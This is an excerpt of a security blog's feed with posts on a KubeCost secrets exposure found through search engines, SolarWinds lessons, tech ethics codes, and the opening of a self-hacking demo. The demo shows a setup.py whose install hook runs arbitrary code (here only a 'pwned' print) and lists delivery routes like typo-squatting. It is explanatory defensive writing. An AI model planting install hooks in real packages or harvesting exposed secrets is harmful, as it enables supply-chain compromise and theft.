&lt;p&gt;Only one of the clusters had an identifiable owner, and it happened to be the biggest one, owned by a company with a multi-billion-dollar market cap. I opened up the exposed KubeCost page and went straight to &lt;code&gt;&#x2F;api&#x2F;allPods&lt;&#x2F;code&gt; and my adrenaline immediately spiked. There were more than 200 passwords (including RDS, Twilio, Google, and Huawei keys) sitting right in front of me, two clicks away from the Google search results.&lt;&#x2F;p&gt;
&lt;p&gt;(here&#x27;s where I&#x27;d put the redacted screenshot if security researchers had legal immunity for responsible disclosure, which we should have)&lt;&#x2F;p&gt;
&lt;p&gt;The cluster name included mentions of gig economy workers so presumably an attacker could have used those keys to steal data from their ~2 million workers.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;disclosure&quot;&gt;Disclosure&lt;&#x2F;h2&gt;
&lt;p&gt;Now that I had a handy Google search link that shows the gravity of the KubeCost bug (exposing environment variables), that made writing my KubeCost disclosure easy. I didn&#x27;t mention the company in my KubeCost disclosure, of course. The fix was implemented after about 2 months (delayed due to KubeCon).&lt;&#x2F;p&gt;
&lt;p&gt;The company has a private bounty program on BugCrowd, where I also filed a report. The affected KubeCost instance was taken down within 3 days and they began rotating API keys.&lt;&#x2F;p&gt;
&lt;p&gt;For my troubles, the KubeCost folks sent me not one but TWO free t-shirts and the billion-dollar company gave me nothing. This has been my biggest bounty so far! Even larger than my other payout of ONE free t-shirt, which I&#x27;ll write about later. They are good t-shirts to be fair.&lt;&#x2F;p&gt;
&lt;p&gt;The company ghosted me when I requested disclosure, so I&#x27;m not mentioning the company name due to &lt;a href=&quot;https:&#x2F;&#x2F;www.bugcrowd.com&#x2F;resources&#x2F;essentials&#x2F;standard-disclosure-terms&#x2F;&quot;&gt;BugCrowd rules&lt;&#x2F;a&gt; that may or may not be legally enforceable. Couldn&#x27;t even afford to be paid in exposure I guess :)&lt;&#x2F;p&gt;
&lt;h2 id=&quot;takeaways&quot;&gt;Takeaways&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Don&#x27;t store Kubernetes secrets in environment variables. &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2022&#x2F;k8s-secrets&#x2F;&quot;&gt;Use Secrets&lt;&#x2F;a&gt;, which generally have tighter RBAC rules around them.&lt;&#x2F;li&gt;
&lt;li&gt;Don&#x27;t capture Helm values at install time, they frequently contain secrets.&lt;&#x2F;li&gt;
&lt;li&gt;Let&#x27;s all stop selling products that are free, but they don&#x27;t provide authentication unless you pay. Security should be the default, not an upgrade.&lt;&#x2F;li&gt;
&lt;li&gt;Be very careful about sites that could possibly by indexed by a search engine, due to the risk of &quot;Google Hacking&quot;&lt;&#x2F;li&gt;
&lt;li&gt;Responsible disclosure is good for victims, and public disclosure is good for future victims.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>We&#x27;ve learned nothing from the SolarWinds hack</title>
        <published>2023-05-21T00:00:00+00:00</published>
        <updated>2023-05-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2023/solarwinds-hack-lessons-learned/"/>
        <id>https://www.macchaffee.com/blog/2023/solarwinds-hack-lessons-learned/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2023/solarwinds-hack-lessons-learned/">&lt;p&gt;Back in 2020, A Russian state-sponsored group got into SolarWinds&#x27; build system and inserted  command and control (c2) code into a routine software update for a network monitoring tool called Orion (&lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;2020_United_States_federal_government_data_breach&quot;&gt;wiki link&lt;&#x2F;a&gt;). It was all over the news, and for good reason given the extent of the breach (into particularly sensitive parts of the US government) and the lengthy recovery process &lt;a href=&quot;https:&#x2F;&#x2F;www.businessinsider.com&#x2F;russia-hack-may-take-years-undo-bossert-2020-12&quot;&gt;which will likely take years&lt;&#x2F;a&gt;. Given its high profile, I&#x27;m shocked to report that I feel very little has been learned from that attack.&lt;&#x2F;p&gt;
&lt;p&gt;To me, the hack was a wake-up call about how the way we install and run software is insecure by design and needs a rework, maybe using &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Capability-based_security&quot;&gt;capabilities-based security&lt;&#x2F;a&gt;. But all I hear about is a bunch of solutions that kinda miss the point. Let&#x27;s go over all of those first.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;we-should-sign-and-verify-all-our-dependencies&quot;&gt;&quot;We should sign and verify all our dependencies&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;In the wake of the SolarWinds hack, interest in &quot;securing the software supply chain&quot; grew considerably, including &lt;a href=&quot;https:&#x2F;&#x2F;www.nist.gov&#x2F;itl&#x2F;executive-order-14028-improving-nations-cybersecurity&quot;&gt;a May 2021 executive order&lt;&#x2F;a&gt; telling NIST&#x2F;CISA to develop some guidelines about the subject. The &lt;a href=&quot;https:&#x2F;&#x2F;slsa.dev&#x2F;&quot;&gt;Supply-chain Levels for Software Artifacts (SLSA)&lt;&#x2F;a&gt; framework also launched that same year and has been steadily growing in popularity.&lt;&#x2F;p&gt;
&lt;p&gt;Don&#x27;t get me wrong: I appreciate the extra interest in this area. However, the fact remains that malicious code can be signed and verified too, depending on how deeply in the supply chain the attackers are. And they can get pretty deep with state-sponsored cyber criminal skills. Anything could happen in the background of your CI worker (or your laptop) between when you execute &lt;code&gt;git checkout &amp;lt;tag&amp;gt;&lt;&#x2F;code&gt; and &lt;code&gt;make&lt;&#x2F;code&gt;. Any checksums you generate or check can be modified right before you check them. Or maybe your &lt;code&gt;&#x2F;usr&#x2F;local&#x2F;bin&#x2F;sha256sum&lt;&#x2F;code&gt; has been tampered with. The list goes on.&lt;&#x2F;p&gt;
&lt;p&gt;When we&#x27;re talking about getting all major open source projects (which have little to no funding) to add enough security to resist nation-states (which have plenty of funding), the math simply doesn&#x27;t add it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;we-should-disable-automatic-updates&quot;&gt;&quot;We should disable automatic updates&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;Automatic updates are a tradeoff, I&#x27;ll grant that. You are trusting a vendor to not ship a bad update in exchange for getting security fixes ASAP. However, just think for half a second about how the SolarWinds hack worked. The attackers snuck some code into an &lt;em&gt;opaque, propriety, binary blob that &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;2020_United_States_federal_government_data_breach#SolarWinds_exploit&quot;&gt;lied dormant for 12-14 days&lt;&#x2F;a&gt; before doing anything strange&lt;&#x2F;em&gt;. There is absolutely no way we can perform a full binary analysis of every new version of every binary blob that powers modern IT.&lt;&#x2F;p&gt;
&lt;p&gt;Automating updates are generally recommended because it &quot;helps to ensure the
timeliness and completeness of system patching operations&quot;, as mentioned in &lt;a href=&quot;https:&#x2F;&#x2F;nvlpubs.nist.gov&#x2F;nistpubs&#x2F;SpecialPublications&#x2F;NIST.SP.800-53r5.pdf&quot;&gt;NIST 800-53§3.19&lt;&#x2F;a&gt;. If you do have the time for manual reviews AND audits that the manual updates have been applied, that&#x27;s preferable, but obviously that takes a lot of time. For everything else, automation keeps you safer. The SolarWinds hack changed nothing about that calculus.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;we-should-deploy-another-agent-to-detect-these-kinds-of-hacks&quot;&gt;&quot;We should deploy another agent to detect these kinds of hacks&quot;&lt;&#x2F;h2&gt;
&lt;p&gt;This idea pre-dates the SolarWinds hack, but it&#x27;s still around in full force. Many security standards recommend or even require a &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Security_information_and_event_management&quot;&gt;Security Information Event Management (SIEM)&lt;&#x2F;a&gt; system. Maybe you&#x27;d like to deploy &lt;a href=&quot;https:&#x2F;&#x2F;www.solarwinds.com&#x2F;security-event-manager&#x2F;siem-tools&quot;&gt;SolarWinds&#x27; own SIEM product&lt;&#x2F;a&gt;? It should be obvious that installing yet-another highly-privileged agent on all your servers is the exact reason why the SolarWinds hack was as devastating as it was. I appreciate the thought that goes into e.g. &lt;a href=&quot;https:&#x2F;&#x2F;www.datadoghq.com&#x2F;blog&#x2F;engineering&#x2F;secure-publication-of-datadog-agent-integrations-with-tuf-and-in-toto&#x2F;&quot;&gt;DataDog&#x27;s agent build process&lt;&#x2F;a&gt;, but DataDog&#x27;s agent still runs &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;DataDog&#x2F;datadog-agent&#x2F;blob&#x2F;fd57de7ae6c889b45f99b57c36896c3c161dfdd2&#x2F;omnibus&#x2F;config&#x2F;templates&#x2F;datadog-agent&#x2F;systemd.service.erb&quot;&gt;without any kind of systemd sandboxing&lt;&#x2F;a&gt;, which gives it more permissions than it needs. It&#x27;s one bad world-readable SUID file away from a full takeover, which is just &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;RoqueNight&#x2F;Linux-Privilege-Escalation-Basics&quot;&gt;one of many local privilege escalation routes&lt;&#x2F;a&gt; that exist on Linux.&lt;&#x2F;p&gt;
&lt;p&gt;Having visibility into your own network is a good idea, but vendors rarely care to follow the principle of least privilege, frequently just demanding full root access (like for &lt;a href=&quot;https:&#x2F;&#x2F;static.tenable.com&#x2F;documentation&#x2F;nessus_compliance_checks.pdf#page=11&quot;&gt;Nessus compliance scans&lt;&#x2F;a&gt; which are entirely read-only). If you need to stop supply chain attacks, more privileged agents will just significantly broaden your exposure to supply chain attacks.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-inconvenient-truth-about-how-to-actually-fix-this&quot;&gt;The Inconvenient Truth about how to actually fix this&lt;&#x2F;h2&gt;
&lt;p&gt;Reading through &lt;a href=&quot;https:&#x2F;&#x2F;www.cisa.gov&#x2F;sites&#x2F;default&#x2F;files&#x2F;publications&#x2F;defending_against_software_supply_chain_attacks_508_1.pdf&quot;&gt;some of NIST&#x27;s guidance&lt;&#x2F;a&gt; hints at the real problem in my opinion: &quot;many third-party software products require privileged access&quot;. This is an &quot;insecure by design&quot; problem. NIST continues: &quot;Even when a product can effectively operate on a network with reduced privileges, products will oftentimes default to asking for greater privileges during installation to ensure the product’s maximum effectiveness across different types of customer networks. Customers often accept third-party software defaults without investigating further, allowing additional accessibility vectors&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;If you want to prevent that from being abused, NIST&#x27;s recommendations in that document basically amount to &quot;build an enormous, mature security organization&quot;. That implicitly assumes everyone keeps the &quot;business as usual&quot; way of installing and running third party software. It doesn&#x27;t have to be this way.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-quite-ambitious-solution&quot;&gt;The (quite ambitious) solution&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;We should run software in a way where we don&#x27;t really care if it has a vulnerability, because it will happen&lt;&#x2F;strong&gt;. Just like how no good auth system relies on user-memorized passwords alone anymore; we have 2FA and passkeys now which remove that human element as part of their design. That same energy should have been applied in the wake of the SolarWinds hack, but it still feels like &quot;security by design&quot; is a fringe belief.&lt;&#x2F;p&gt;
&lt;p&gt;One idea that could help is &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Capability-based_security&quot;&gt;capabilities-based security&lt;&#x2F;a&gt;. The idea is that by default, running software can&#x27;t do much of anything unless it is given an unforgeable &quot;capability&quot; to do things like access files, the network, particular syscalls, etc. This is fairly incompatible with UNIX and Windows because (aside from root&#x2F;administrator access), programs have the permission to do a LOT of damage by default, and removing any of those permissions would break a lot programs. If you want security by design, backwards-compatibility is a sacrifice you&#x27;ll have to make.&lt;&#x2F;p&gt;
&lt;p&gt;Capabilities-based security isn&#x27;t easy to implement. Some weaknesses I&#x27;ve found in the wild include:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Making capabilities too coarse-grained, like having a general &quot;write&#x2F;edit&quot; permission with no separate &quot;create&quot; or &quot;append&quot; permission, meaning your backup tool is still ripe for a ransomware attack.&lt;&#x2F;li&gt;
&lt;li&gt;Making the default capabilities too permissive, like Docker&#x27;s default seccomp rules which prioritized compatibility over security.&lt;&#x2F;li&gt;
&lt;li&gt;Making fine-grained capabilities that actually imply other capabilities, like &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;denoland&#x2F;deno&#x2F;issues&#x2F;2128&quot;&gt;Deno&#x27;s &quot;--allow-run&quot; permission being equal to &quot;--allow-all&quot;&lt;&#x2F;a&gt;. Or Kubernetes&#x27; &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;security&#x2F;secrets-good-practices&#x2F;#least-privilege-secrets&quot;&gt;&quot;create pod&quot; permissions implying &quot;get secret&quot; permissions&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Packaging software alongside the capabilities that constrain it, like RPMs with systemd units that include sandboxing. A supply chain attack could easily remove the sandboxing. You need something like what browser extensions do where new permissions require explicit approval from the user.&lt;&#x2F;li&gt;
&lt;li&gt;Making capabilities apply to too-course of a boundary, like giving one set of capabilities to a complex, multi-threaded process that includes a lot of third-party code for instance. Any sub-component of that process could be tricked into abusing one of its capabilities. &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;austral&#x2F;austral&quot;&gt;Language-based capabilities&lt;&#x2F;a&gt; have the edge here.&lt;&#x2F;li&gt;
&lt;li&gt;Lacking tools for knowing which capabilities a given program needs. This kills adoption, since not many developers could tell you exactly which kernel features their code uses off the top of their head.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;If we could agree on a good, standardized capabilities model for software and everyone starts using it, we will have reached security Nirvana.&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;We can keep the benefits of huge dependency trees without the risks!&lt;&#x2F;li&gt;
&lt;li&gt;IT organizations can spend significantly less time on remediating vulns since the vast majority of vulns will not be exploitable!&lt;&#x2F;li&gt;
&lt;li&gt;Lateral movement becomes nearly improbable!&lt;&#x2F;li&gt;
&lt;li&gt;We don&#x27;t have to hold OSS communities to rigorous security standards that even well-funded companies struggle with!&lt;&#x2F;li&gt;
&lt;li&gt;And more!&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;back-to-reality&quot;&gt;Back to reality&lt;&#x2F;h2&gt;
&lt;p&gt;We&#x27;re still talking about something that&#x27;s probably a decade away or more, but given the benefits and the constant string of high-profile hacks like the SolarWinds hack, I&#x27;m just upset the ball &lt;em&gt;still&lt;&#x2F;em&gt; isn&#x27;t rolling in the right direction 3 years later.&lt;&#x2F;p&gt;
&lt;p&gt;But history shows it&#x27;s not impossible, at least not if you&#x27;re the &lt;a href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;List_of_public_corporations_by_market_capitalization&quot;&gt;richest company on the planet&lt;&#x2F;a&gt;. Over time (particularly since &lt;a href=&quot;https:&#x2F;&#x2F;www.cultofmac.com&#x2F;173128&#x2F;new-ios-6-privacy-settings-limit-access-to-photos-contact-calendars-and-more&#x2F;&quot;&gt;iOS 6&lt;&#x2F;a&gt;), less and less permissions have been granted to iOS apps by default, instead requiring apps to request those permissions from users explicitly. It&#x27;s still not perfect (like access to contacts still being a binary &quot;yes&#x2F;no&quot;), but every permission clawed back from the default set required breaking backwards compatibility, a phrase rarely uttered in regard to the Linux and Windows kernels.&lt;&#x2F;p&gt;
&lt;p&gt;If you have been an iOS developer since 2012, I&#x27;m sorry you had to go through that, but your extra work has been profoundly important to the privacy and security of mobile OSes. I&#x27;d like to see that same &lt;a href=&quot;https:&#x2F;&#x2F;www.macchaffee.com&#x2F;blog&#x2F;2023&#x2F;ethics-self-attestation&#x2F;&quot;&gt;principled&lt;&#x2F;a&gt; energy brought to desktop and server OSes. If we don&#x27;t, the next SolarWinds-like hack is just around the corner.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Self-attesting to a code of ethics</title>
        <published>2023-05-20T00:00:00+00:00</published>
        <updated>2023-05-20T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2023/ethics-self-attestation/"/>
        <id>https://www.macchaffee.com/blog/2023/ethics-self-attestation/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2023/ethics-self-attestation/">&lt;p&gt;Unlike many other industries like doctors, real estate agents, lawyers, social workers, etc. the tech world doesn&#x27;t have to abide by any particular code of ethics. We can argue all we want about if such a thing should be required or what should be in it, but I think clearly &lt;em&gt;something&lt;&#x2F;em&gt; is better than the &lt;em&gt;nothing&lt;&#x2F;em&gt; we have today.&lt;&#x2F;p&gt;
&lt;p&gt;In most of the US at least, those professions I mentioned have state-recognized organizations which are legally empowered to regulate members of that profession, and they typically mandate a code of ethics. Examples:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.ncrec.gov&#x2F;Commission&#x2F;AboutUs&quot;&gt;North Carolina Real Estate Commission&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;www.ncleg.net&#x2F;EnactedLegislation&#x2F;Statutes&#x2F;HTML&#x2F;BySection&#x2F;Chapter_93A&#x2F;GS_93A-6.html&quot;&gt;List of actions for which licensees can be disciplined&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;ncswboard.gov&#x2F;about&#x2F;&quot;&gt;North Carolina Social Work Certification and Licensure Board&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;ncswboard.gov&#x2F;administrative-codes&#x2F;#.0501&quot;&gt;Ethical guidelines&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I&#x27;m not qualified to say whether either group is effective at enforcing those ethical codes, but I sure am glad they have &lt;em&gt;something&lt;&#x2F;em&gt;. Something we can hold people to in case they act negligently or maliciously in their jobs.&lt;&#x2F;p&gt;
&lt;p&gt;Consider how the median piece of software today is a user-hostile, unmaintained piece of ad-tech with your choice of dark patterns, vulnerabilities, or opaque pricing topped with inaccessibility. This is not an acceptable foundation on which to build the next generation of technology. Given the lack of official standards or ethics for 70+ years of computing history, should we be surprised this is the case? For tech workers, there&#x27;s no oath to swear, no book to sign your name in, no state licensing agency to register with. We&#x27;re all on our own here, and we&#x27;re not doing a great job on our own.&lt;&#x2F;p&gt;
&lt;p&gt;About the closest thing to a relevant code of ethics I&#x27;ve found is the &lt;a href=&quot;https:&#x2F;&#x2F;ethics.acm.org&#x2F;&quot;&gt;ACM Code of Ethics&lt;&#x2F;a&gt;. If you&#x27;ve never truly understood the Voltaire quote &quot;common sense is not so common&quot; before, you&#x27;ll understand what it means after skimming the section titles and thinking about people working in certain specific tech sectors 😬&lt;&#x2F;p&gt;
&lt;p&gt;With that said, I think we should all self-attest to following some specific code of ethics. Is this performative virtue signalling? Oh absolutely. But the reason why &quot;performative&quot; and &quot;virtue signalling&quot; have negative connotations is because of people who are all talk and no action. Being &quot;performative&quot; is crucial for raising awareness of important subjects. What are protests if not performative? Maybe this is all symbolic, but what long-lived institution of ethics exists today that doesn&#x27;t benefit from its symbolism? The real test is whether you&#x27;ll actually follow the code of ethics for real, and maybe the threat of looking like a huge hypocrite will be a helpful incentive.&lt;&#x2F;p&gt;
&lt;p&gt;So here goes: I personally think it&#x27;s a good idea to consider ethics in all things relating to my profession in tech. To that end, I plan to follow the &lt;a href=&quot;https:&#x2F;&#x2F;ethics.acm.org&#x2F;&quot;&gt;ACM Code of Ethics&lt;&#x2F;a&gt;. It&#x27;s not infallible, and neither am I, but that&#x27;s no excuse to just give up.&lt;&#x2F;p&gt;
&lt;p&gt;As a result of saying that, you now have power over me. I have no license to be revoked, but if I wrong you, you can hold me to my word. Like a service level agreement for interacting with me professionally. This one-way power dynamic feels kinda weird, right? Well, you can fix that by also self-attesting to a professional code of ethics. Doesn&#x27;t matter which one.&lt;&#x2F;p&gt;
&lt;p&gt;What more do you want, a badge to put in your READMEs? God no.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Hacking myself to prove a point</title>
        <published>2023-01-21T00:00:00+00:00</published>
        <updated>2023-01-21T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Mac
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://www.macchaffee.com/blog/2023/hacking-myself/"/>
        <id>https://www.macchaffee.com/blog/2023/hacking-myself/</id>
        
        <content type="html" xml:base="https://www.macchaffee.com/blog/2023/hacking-myself/">&lt;p&gt;If you didn&#x27;t hear, &lt;a href=&quot;https:&#x2F;&#x2F;circleci.com&#x2F;blog&#x2F;jan-4-2023-incident-report&#x2F;&quot;&gt;CircleCI recently released their report on a December 2022 security incident&lt;&#x2F;a&gt;. What stood out to me is that CircleCI seems to be doing all the &quot;normal&quot; security things: SSO with 2FA, endpoint protection, auditing&#x2F;logging, encryption at rest, etc. But they still got breached. I think this speaks to the unfortunate state of the modern-day security industry. It&#x27;s a thousand times easier to sell some pithy software tool that checks a compliance box than it is to sell a real security transformation.&lt;&#x2F;p&gt;
&lt;p&gt;To me, one of the central security weaknesses companies have is ignoring local malware, which is exactly how the CircleCI hack started. People consider local malware to be &quot;game over&quot; and just give up on &quot;defense in depth&quot;. Both &lt;a href=&quot;https:&#x2F;&#x2F;developer.hashicorp.com&#x2F;vault&#x2F;docs&#x2F;internals&#x2F;security&quot;&gt;Hashicorp Vault&lt;&#x2F;a&gt; and &lt;a href=&quot;https:&#x2F;&#x2F;groups.google.com&#x2F;a&#x2F;chromium.org&#x2F;g&#x2F;blink-dev&#x2F;c&#x2F;OkdLUyYmY1E&#x2F;m&#x2F;NkUxgF27DAAJ&quot;&gt;Google Chrome&lt;&#x2F;a&gt; have essentially stated they don&#x27;t care about protecting from local malware.&lt;&#x2F;p&gt;
&lt;p&gt;I believe that this mindset of ignoring local malware 1) underestimates how easy it is to do, and 2) prevents the whole security industry from focusing on this problem. To prove this, I&#x27;ll try to hack myself like I&#x27;m that poor CircleCI engineer whose laptop was exploited as the first step in the attack.&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;NOTE: I&#x27;m not actually targeting my setup at my current or past employers. I&#x27;m targeting a theoretical engineer that doesn&#x27;t exist, but is similar to an average software engineer. My examples will use macOS but this applies to Windows and Linux just as easily.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;step-1-get-onto-a-developer-s-laptop&quot;&gt;Step 1: Get onto a developer&#x27;s laptop&lt;&#x2F;h2&gt;
&lt;p&gt;Prior to the rise of various kinds of server-side sandboxing (containers, jails, WASM, micro VMs), remote code execution was always game-over for a server. Nowadays, you might have remote code execution inside one of dozens on microservices, but with good egress restrictions and mTLS, that might be the end of your exploit chain.&lt;&#x2F;p&gt;
&lt;p&gt;However for some tragic reason, the tooling for sandboxing on desktop operating systems is stuck in the dark ages. If I can just execute code on a developer&#x27;s laptop, I can steal SSH keys, steal cookies, hijack VPN sessions, install C2 servers, and more. And executing code on a developer&#x27;s laptop is pretty easy these days.&lt;&#x2F;p&gt;
&lt;p&gt;To start, I&#x27;ll make a malicious Python package that will execute arbitrary code when installed.&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;mkdir hack
&lt;&#x2F;span&gt;&lt;span&gt;cd hack&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;vim setup.py
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;setup.py:&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;setuptools
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;setuptools.command.install &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;install
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;class &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ebcb8b;&quot;&gt;Install&lt;&#x2F;span&gt;&lt;span style=&quot;color:#eff1f5;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;install&lt;&#x2F;span&gt;&lt;span style=&quot;color:#eff1f5;&quot;&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;def &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;):
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;************************ pwned ************************&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;)
&lt;&#x2F;span&gt;&lt;span&gt;        install.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;run&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;self&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;setuptools.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;setup&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;name&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;malicious&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;version&lt;&#x2F;span&gt;&lt;span&gt;=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;1.0.0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;,
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;install_requires&lt;&#x2F;span&gt;&lt;span&gt;=[],
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cmdclass&lt;&#x2F;span&gt;&lt;span&gt;={&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;install&lt;&#x2F;span&gt;&lt;span&gt;&amp;#39;: Install}
&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now we install the package, with extra verbosity just to see our &quot;pwned&quot; print statement:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#2b303b;color:#c0c5ce;&quot;&gt;&lt;code&gt;&lt;span&gt;$ pip install -v .
&lt;&#x2F;span&gt;&lt;span&gt;Using pip 22.3.1 from &#x2F;hack&#x2F;venv&#x2F;lib&#x2F;python3.10&#x2F;site-packages&#x2F;pip (python 3.10)
&lt;&#x2F;span&gt;&lt;span&gt;Processing &#x2F;hack
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;  running bdist_wheel
&lt;&#x2F;span&gt;&lt;span&gt;  running build
&lt;&#x2F;span&gt;&lt;span&gt;  installing to build&#x2F;bdist.macosx-12.3-x86_64&#x2F;wheel
&lt;&#x2F;span&gt;&lt;span&gt;  running install
&lt;&#x2F;span&gt;&lt;span&gt;  ************************ pwned ************************
&lt;&#x2F;span&gt;&lt;span&gt;  running install_egg_info
&lt;&#x2F;span&gt;&lt;span&gt;  running egg_info
&lt;&#x2F;span&gt;&lt;span&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;Successfully installed malicious-1.0.0
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Alright! Now we just need our target developer to install this package. This is the only hard part about our hack, but we have a lot of options:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;snyk.io&#x2F;blog&#x2F;malicious-packages-found-to-be-typo-squatting-in-pypi&#x2F;&quot;&gt;Typo-squatting a popular package&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
